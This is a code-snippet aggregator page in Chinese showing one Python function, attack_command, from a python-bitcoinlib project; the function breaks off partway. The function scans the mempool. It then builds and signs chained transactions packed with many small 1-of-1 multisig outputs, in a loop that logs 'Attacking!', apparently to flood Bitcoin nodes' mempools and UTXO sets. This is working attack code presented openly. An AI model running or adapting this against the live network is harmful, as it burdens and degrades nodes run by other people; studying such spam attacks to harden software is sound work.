本文整理汇总了Python中bitcoin.core.CTransaction.get_hash方法的典型用法代码示例。如果您正苦于以下问题:Python CTransaction.get_hash方法的具体用法?Python CTransaction.get_hash怎么用?Python CTransaction.get_hash使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类bitcoin.core.CTransaction
的用法示例。
在下文中一共展示了CTransaction.get_hash方法的1个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: attack_command
# 需要导入模块: from bitcoin.core import CTransaction [as 别名]
# 或者: from bitcoin.core.CTransaction import get_hash [as 别名]
def attack_command(args):
#args.starting_height = 2**32-1
#scan_command(args)
fd = open('sent-txs','a')
for txhash in args.rpc.getrawmempool():
txhash = lx(txhash)
tx = args.rpc.getrawtransaction(txhash)
args.wallet.scan_tx(tx)
args.fee_per_kb = int(args.fee_per_kb * COIN)
# deque of transaction outputs, (COutPoint, CTxOut), that we have available
# to spend. We use these outputs in order, oldest first.
available_txouts = collections.deque()
# gather up existing outputs
total_funds = 0
for outpoint, txout in args.wallet.unspent_txouts.items():
total_funds += txout.nValue
available_txouts.append((outpoint, txout))
size_sent = 0
while available_txouts:
logging.info('Attacking! Sent %d bytes total, Funds left: %s in %d txouts' %
(size_sent, str_money_value(total_funds), len(available_txouts)))
tx = CTransaction()
# Gather up txouts until we have enough funds in to pay the fees on a
# target-sized tx as well as the non-dust outputs.
sum_value_in = 0
# Assuming the whole tx is CTxOut's, each one is 46 bytes (1-of-1
# CHECKMULTISIG) and the value out needs to be at least 1000 satoshis.
avg_txout_size = 46 #25+1+8
num_txouts = args.target_tx_size // avg_txout_size
min_value_out = 10000
sum_min_value_out = num_txouts * min_value_out
fees = (args.target_tx_size/1000) * args.fee_per_kb
inputs = {}
tx_size = len(tx.serialize())
dummy_scriptSig = CScript([b'\x00'*74])
while (sum_value_in < fees + sum_min_value_out
and tx_size < args.target_tx_size/2 # don't devote more than half the tx to inputs
and available_txouts):
outpoint, txout = available_txouts.popleft()
try:
args.rpc.gettxout(outpoint)
except IndexError:
continue
inputs[outpoint] = txout
sum_value_in += txout.nValue
# The CTxIn has a dummy signature so size calculations will be right
txin = CTxIn(outpoint, dummy_scriptSig)
tx.vin.append(txin)
tx_size += len(txin.serialize())
total_funds -= sum_value_in
# Recalculate number of txouts we'll have now that we've added the
# txins. Of course, this will leave the actual value per txout a bit
# high, but whatever.
num_txouts = int(min((args.target_tx_size-len(tx.serialize())) / avg_txout_size,
(sum_value_in - fees) / min_value_out))
# Split the funds out evenly among all transaction outputs.
per_txout_value = (sum_value_in - fees) // num_txouts
for i in range(num_txouts):
scriptPubKey = args.wallet.make_multisig()
txout = CTxOut(per_txout_value, scriptPubKey)
tx.vout.append(txout)
# Sign the transaction
for (i, txin) in enumerate(tx.vin):
prevout_scriptPubKey = inputs[txin.prevout].scriptPubKey
sighash = SignatureHash(prevout_scriptPubKey, tx, i, SIGHASH_ALL)
seckey = args.wallet.keypairs[prevout_scriptPubKey]
sig = seckey.sign(sighash) + bytes([SIGHASH_ALL])
if prevout_scriptPubKey[-1] == OP_CHECKMULTISIG:
txin.scriptSig = CScript([OP_0, sig])
elif prevout_scriptPubKey[-1] == OP_CHECKSIG and prevout_scriptPubKey[-2] == OP_EQUALVERIFY:
txin.scriptSig = CScript([sig, seckey.pub])
VerifyScript(txin.scriptSig, prevout_scriptPubKey, tx, i)
# Add the new txouts to the list of available txouts
tx_hash = tx.get_hash()
sum_value_out = 0
for i, txout in enumerate(tx.vout):
outpoint = COutPoint(tx_hash, i)
available_txouts.append((outpoint, txout))
sum_value_out += txout.nValue
#.........这里部分代码省略.........